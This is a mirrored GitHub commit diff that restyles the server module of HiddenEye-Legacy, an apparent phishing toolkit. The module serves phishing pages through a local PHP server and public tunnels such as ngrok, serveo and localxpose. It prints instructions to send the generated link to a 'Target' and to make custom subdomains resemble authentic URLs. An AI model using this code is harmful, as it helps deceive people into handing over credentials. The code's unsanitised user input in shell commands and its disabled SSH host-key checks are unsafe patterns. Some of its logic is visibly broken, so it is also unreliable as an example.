mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Merge pull request #714 from DarkSecDevelopers/restyled/dev
Restyle Merge Dev to Master
This commit is contained in:
commit
b43d592da6
|
@ -4,15 +4,31 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import os
|
||||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import BytesIO, ZipFile, run_command, url_request, run_background_command, wait, ngrok, ngrok_conf, requests, regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path, pathlib_Path
|
||||
import Defs.ThemeManager.theme as theme
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ActionManager import simple_informant
|
||||
import os
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import BytesIO
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import CalledProcessError
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import chdir
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import check_output
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import DEVNULL
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import ngrok
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import ngrok_conf
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import PIPE
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import regular_expression
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import requests
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_background_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import url_request
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import ZipFile
|
||||
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||
|
||||
try:
|
||||
os.mkdir("Server/www")
|
||||
|
@ -24,7 +40,7 @@ default_palette = theme.default_palette
|
|||
|
||||
|
||||
def server_selection(port): # Question where user must select server
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
|
@ -33,41 +49,45 @@ def server_selection(port): # Question where user must select server
|
|||
print_sorted_as_menu(localization.lang_server_selection["servers_list"])
|
||||
choice = input(global_localization.input_line)
|
||||
choice = choice.zfill(2)
|
||||
if choice == '00':
|
||||
run_command('clear')
|
||||
if choice == "00":
|
||||
run_command("clear")
|
||||
start_localhost(port) # FIXED
|
||||
elif choice == '01':
|
||||
run_command('clear')
|
||||
elif choice == "01":
|
||||
run_command("clear")
|
||||
start_ngrok(port) # FIXED
|
||||
elif choice == '02':
|
||||
run_command('clear')
|
||||
elif choice == "02":
|
||||
run_command("clear")
|
||||
start_serveo(port) # TODO ALMOST FIXED
|
||||
elif choice == '03':
|
||||
run_command('clear')
|
||||
elif choice == "03":
|
||||
run_command("clear")
|
||||
start_localxpose(port) # TODO DOESN'T GET ENTERED CREDENTIALS BACK
|
||||
elif choice == '04':
|
||||
run_command('clear')
|
||||
elif choice == "04":
|
||||
run_command("clear")
|
||||
start_localtunnel(port, True)
|
||||
elif choice == '05':
|
||||
run_command('clear')
|
||||
elif choice == "05":
|
||||
run_command("clear")
|
||||
start_openport(port)
|
||||
elif choice == '06':
|
||||
run_command('clear')
|
||||
elif choice == "06":
|
||||
run_command("clear")
|
||||
start_pagekite(port)
|
||||
else:
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return server_selection(port)
|
||||
|
||||
|
||||
def set_php(host='127.0.0.1', port=80):
|
||||
run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_background_command(["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"], stdout=DEVNULL,
|
||||
stderr=DEVNULL)
|
||||
def set_php(host="127.0.0.1", port=80):
|
||||
run_command(["killall", "-2", "php"], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_background_command(
|
||||
["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
|
||||
|
||||
def set_port(port=80):
|
||||
run_background_command(
|
||||
["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_background_command(["fuser", "-k", "{0}/tcp".format(port)],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL)
|
||||
|
||||
|
||||
def start_server(port=80):
|
||||
|
@ -75,7 +95,7 @@ def start_server(port=80):
|
|||
|
||||
|
||||
def start_localhost(port):
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
|
@ -88,9 +108,9 @@ def start_localhost(port):
|
|||
|
||||
enter_server_www
|
||||
set_php(host, port)
|
||||
print(localization.lang_start_localhost[
|
||||
"starting_server_on_addr"] + "{0}:{1}".format(host, port))
|
||||
run_command('clear')
|
||||
print(localization.lang_start_localhost["starting_server_on_addr"] +
|
||||
"{0}:{1}".format(host, port))
|
||||
run_command("clear")
|
||||
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
|
@ -99,14 +119,14 @@ def start_localhost(port):
|
|||
print(localization.lang_start_localhost["running_localhost_server"])
|
||||
|
||||
print(localization.lang_start_localhost["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '{0}:{1}\n'.format(host, port))
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"{0}:{1}\n".format(host, port))
|
||||
|
||||
|
||||
def start_ngrok(port):
|
||||
ngrok_conf.PyngrokConfig(config_path=".config/ngrok.yml")
|
||||
run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_command('clear')
|
||||
run_command(["killall", "-2", "ngrok"], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
|
@ -117,12 +137,13 @@ def start_ngrok(port):
|
|||
wait(2)
|
||||
ngrok_tunnels = ngrok.get_tunnels()
|
||||
url = ngrok_tunnels[0].public_url
|
||||
if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None:
|
||||
if regular_expression.match("https://[0-9a-z]*\.ngrok.io",
|
||||
url) is not None:
|
||||
print(localization.lang_start_ngrok["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_ngrok[
|
||||
"ngrok_url"] + url + default_palette[4])
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"127.0.0.1:" + port)
|
||||
print(localization.lang_start_ngrok["ngrok_url"] + url +
|
||||
default_palette[4])
|
||||
break
|
||||
|
||||
|
||||
|
@ -134,28 +155,42 @@ def start_serveo(port):
|
|||
return True
|
||||
|
||||
def random(port):
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_random_server"])
|
||||
|
||||
run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R',
|
||||
'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_command(
|
||||
[
|
||||
"ssh",
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"-o",
|
||||
"ServerAliveInterval=60",
|
||||
"-R",
|
||||
"localhost:{0}".format(port),
|
||||
"serveo.net",
|
||||
">",
|
||||
"link.url",
|
||||
],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
wait(8)
|
||||
try:
|
||||
output = check_output(
|
||||
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
||||
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",
|
||||
shell=True)
|
||||
url = output.decode("utf-8")
|
||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_serveo[
|
||||
"serveo_url"] + url + default_palette[4])
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"127.0.0.1:" + port)
|
||||
print(localization.lang_start_serveo["serveo_url"] + url +
|
||||
default_palette[4])
|
||||
except CalledProcessError:
|
||||
wait(4)
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return random(port)
|
||||
|
||||
def custom(port):
|
||||
|
@ -164,37 +199,52 @@ def start_serveo(port):
|
|||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||
print(localization.lang_start_serveo[
|
||||
"make_url_simmilar_to_real_suggestion"])
|
||||
print(localization.
|
||||
lang_start_serveo["make_url_simmilar_to_real_suggestion"])
|
||||
print(localization.lang_start_serveo["insert_custom_subdomain"])
|
||||
lnk = input(global_localization.input_line)
|
||||
run_background_command(
|
||||
['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60',
|
||||
'-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL,
|
||||
stderr=DEVNULL)
|
||||
[
|
||||
"ssh",
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"-o",
|
||||
"ServerAliveInterval=60",
|
||||
"-o",
|
||||
"ServerAliveCountMax=60",
|
||||
"-R",
|
||||
"{0}:80:localhost:{1}".format(lnk, port),
|
||||
"serveo.net",
|
||||
">",
|
||||
"link.url",
|
||||
],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
lnk += ".serveousercontent.com"
|
||||
wait(7)
|
||||
try:
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_serveo[
|
||||
"serveo_url"] + lnk + default_palette[4])
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"127.0.0.1:" + port)
|
||||
print(localization.lang_start_serveo["serveo_url"] + lnk +
|
||||
default_palette[4])
|
||||
|
||||
print("\n")
|
||||
|
||||
except CalledProcessError:
|
||||
print(localization.lang_start_serveo["failed_to_get_domain"])
|
||||
print(localization.lang_start_serveo["suggestion_to_fix_issue"])
|
||||
print(localization.lang_start_serveo["you_can_try_to_select_other_domain"])
|
||||
print(localization.
|
||||
lang_start_serveo["you_can_try_to_select_other_domain"])
|
||||
wait(4)
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return custom(port)
|
||||
|
||||
if is_online:
|
||||
|
@ -207,20 +257,20 @@ def start_serveo(port):
|
|||
print(localization.lang_start_serveo["choose_type_of_url"])
|
||||
print_sorted_as_menu(localization.lang_start_serveo["url_types"])
|
||||
choice = input(global_localization.input_line)
|
||||
run_command('clear')
|
||||
if choice == '1':
|
||||
run_command("clear")
|
||||
if choice == "1":
|
||||
|
||||
custom(port)
|
||||
elif choice == '2':
|
||||
elif choice == "2":
|
||||
random(port)
|
||||
else:
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return start_serveo(port)
|
||||
else:
|
||||
print(localization.lang_start_serveo["serveo_is_down"])
|
||||
choice = input("HiddenEye >> ")
|
||||
choice = choice.lower()
|
||||
if choice == 'y':
|
||||
if choice == "y":
|
||||
return server_selection(port)
|
||||
else:
|
||||
return start_serveo(port)
|
||||
|
@ -228,206 +278,256 @@ def start_serveo(port):
|
|||
|
||||
def start_localxpose(port):
|
||||
localxpose_file = "External_Software/loclx"
|
||||
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
|
||||
localxpose_url = (
|
||||
"https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
|
||||
)
|
||||
if path.isfile(localxpose_file):
|
||||
pass
|
||||
else:
|
||||
if simple_informant.check_platform("system") == "Linux" and simple_informant.check_platform("architecture" == "x86_64"):
|
||||
if simple_informant.check_platform(
|
||||
"system") == "Linux" and simple_informant.check_platform(
|
||||
"architecture" == "x86_64"):
|
||||
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-amd64.zip"
|
||||
elif simple_informant.check_platform("system") == "Linux" and simple_informant.check_platform("architecture" == "aarch64"):
|
||||
elif simple_informant.check_platform(
|
||||
"system") == "Linux" and simple_informant.check_platform(
|
||||
"architecture" == "aarch64"):
|
||||
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
|
||||
with url_request.urlopen(localxpose_url) as loclxzip:
|
||||
with ZipFile(BytesIO(loclxzip.read())) as zip_file:
|
||||
zip_file.extractall("External_Software")
|
||||
chmod('External_Software/loclx', 0o777)
|
||||
chmod("External_Software/loclx", 0o777)
|
||||
|
||||
def random(port):
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_localxpose["localxpose_random_server"])
|
||||
run_command(['External_Software/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_command(
|
||||
[
|
||||
"External_Software/loclx",
|
||||
"tunnel",
|
||||
"http",
|
||||
"--to",
|
||||
":{0}".format(port),
|
||||
">",
|
||||
"link.url",
|
||||
],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
try:
|
||||
output = check_output(
|
||||
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
|
||||
url = output.decode('utf-8')
|
||||
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||
shell=True)
|
||||
url = output.decode("utf-8")
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}".format(
|
||||
default_palette[0], default_palette[4], default_palette[3], port, url) + "{0}".format(
|
||||
default_palette[4]))
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}"
|
||||
.format(
|
||||
default_palette[0],
|
||||
default_palette[4],
|
||||
default_palette[3],
|
||||
port,
|
||||
url,
|
||||
) + "{0}".format(default_palette[4]))
|
||||
print("\n")
|
||||
except CalledProcessError:
|
||||
|
||||
wait(4)
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return random(port)
|
||||
|
||||
def custom(port):
|
||||
|
||||
print('''
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)'''.format(
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(default_palette[0], default_palette[2]))
|
||||
run_command('./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk))
|
||||
run_command(
|
||||
"./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &"
|
||||
% (port, lnk))
|
||||
wait(7)
|
||||
try:
|
||||
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
|
||||
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||
shell=True)
|
||||
url = output.decode("utf-8")
|
||||
run_command('clear')
|
||||
print('''
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}".format(
|
||||
default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(
|
||||
default_palette[4]))
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}"
|
||||
.format(default_palette[0], default_palette[2],
|
||||
default_palette[3], port) + url +
|
||||
"{0}".format(default_palette[4]))
|
||||
print("\n")
|
||||
|
||||
except CalledProcessError:
|
||||
print(
|
||||
'''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n'''.format(
|
||||
default_palette[0], default_palette[4]))
|
||||
"""\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n"""
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
wait(4)
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return custom(port)
|
||||
|
||||
print('''
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
print("\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0],
|
||||
default_palette[2]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2]))
|
||||
run_command('clear')
|
||||
if choice == '1':
|
||||
"\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0],
|
||||
default_palette[2]))
|
||||
run_command("clear")
|
||||
if choice == "1":
|
||||
|
||||
custom(port)
|
||||
elif choice == '2':
|
||||
elif choice == "2":
|
||||
random(port)
|
||||
else:
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return start_localxpose(port)
|
||||
|
||||
|
||||
def start_localtunnel(port, npm):
|
||||
run_command('clear')
|
||||
print('''
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print("\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".
|
||||
format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0],
|
||||
default_palette[2]))
|
||||
print("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format(
|
||||
"\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
s = input("\n{0}(Localtunnel/Subdomain)> {1}".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
s = input('\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2]))
|
||||
try:
|
||||
run_command('{0}lt -p '.format('' if npm else 'Server/') +
|
||||
port + ((' -s ' + s) if s != '' else s) + ' > link.url &')
|
||||
run_command("{0}lt -p ".format("" if npm else "Server/") + port +
|
||||
((" -s " + s) if s != "" else s) + " > link.url &")
|
||||
wait(3)
|
||||
run_command('clear')
|
||||
print('''
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}".format(
|
||||
default_palette[0], default_palette[2], default_palette[3], port,
|
||||
str(check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)).strip("b ' \ n r")))
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}"
|
||||
.format(
|
||||
default_palette[0],
|
||||
default_palette[2],
|
||||
default_palette[3],
|
||||
port,
|
||||
str(
|
||||
check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||
shell=True)).strip("b ' \ n r"),
|
||||
))
|
||||
except CalledProcessError:
|
||||
run_command('clear')
|
||||
print('''
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
print('{0}error[invalid/preoccupied]{0}'.format(default_palette[0]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print("{0}error[invalid/preoccupied]{0}".format(default_palette[0]))
|
||||
start_localtunnel(port, npm)
|
||||
|
||||
|
||||
def start_openport(port):
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
|
||||
def manage_url(port):
|
||||
run_command('rm output.txt > /dev/null 2>&1')
|
||||
run_command('openport -K && openport %s > output.txt &' % (port))
|
||||
print('{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
wait(20) # Sleep time is important as the openport command takes some time to give response link.
|
||||
run_command("rm output.txt > /dev/null 2>&1")
|
||||
run_command("openport -K && openport %s > output.txt &" % (port))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait."
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
# Sleep time is important as the openport command takes some time to give response link.
|
||||
wait(20)
|
||||
run_command(
|
||||
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt') # Taking out the neccesary verification link from output txt file of openport (above).
|
||||
print('{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
with open('openport.txt') as f:
|
||||
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt'
|
||||
) # Taking out the neccesary verification link from output txt file of openport (above).
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link..."
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
with open("openport.txt") as f:
|
||||
read_data = f.read()
|
||||
if 'openport.io/l/' in read_data:
|
||||
print('{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4]))
|
||||
if "openport.io/l/" in read_data:
|
||||
print("{0}[{1}*{0}] {1}Got Activation Link...".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
else:
|
||||
print('{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
output = open('output.txt', 'r')
|
||||
print(
|
||||
"{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... "
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
output = open("output.txt", "r")
|
||||
output = output.read()
|
||||
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output))
|
||||
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
print("{0}[{1}!{0}] {1}Openport Error:\n\n{2}".format(
|
||||
default_palette[0], default_palette[4], output))
|
||||
input("\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
server_selection(port)
|
||||
|
||||
urlFile = open('openport.txt', 'r')
|
||||
urlFile = open("openport.txt", "r")
|
||||
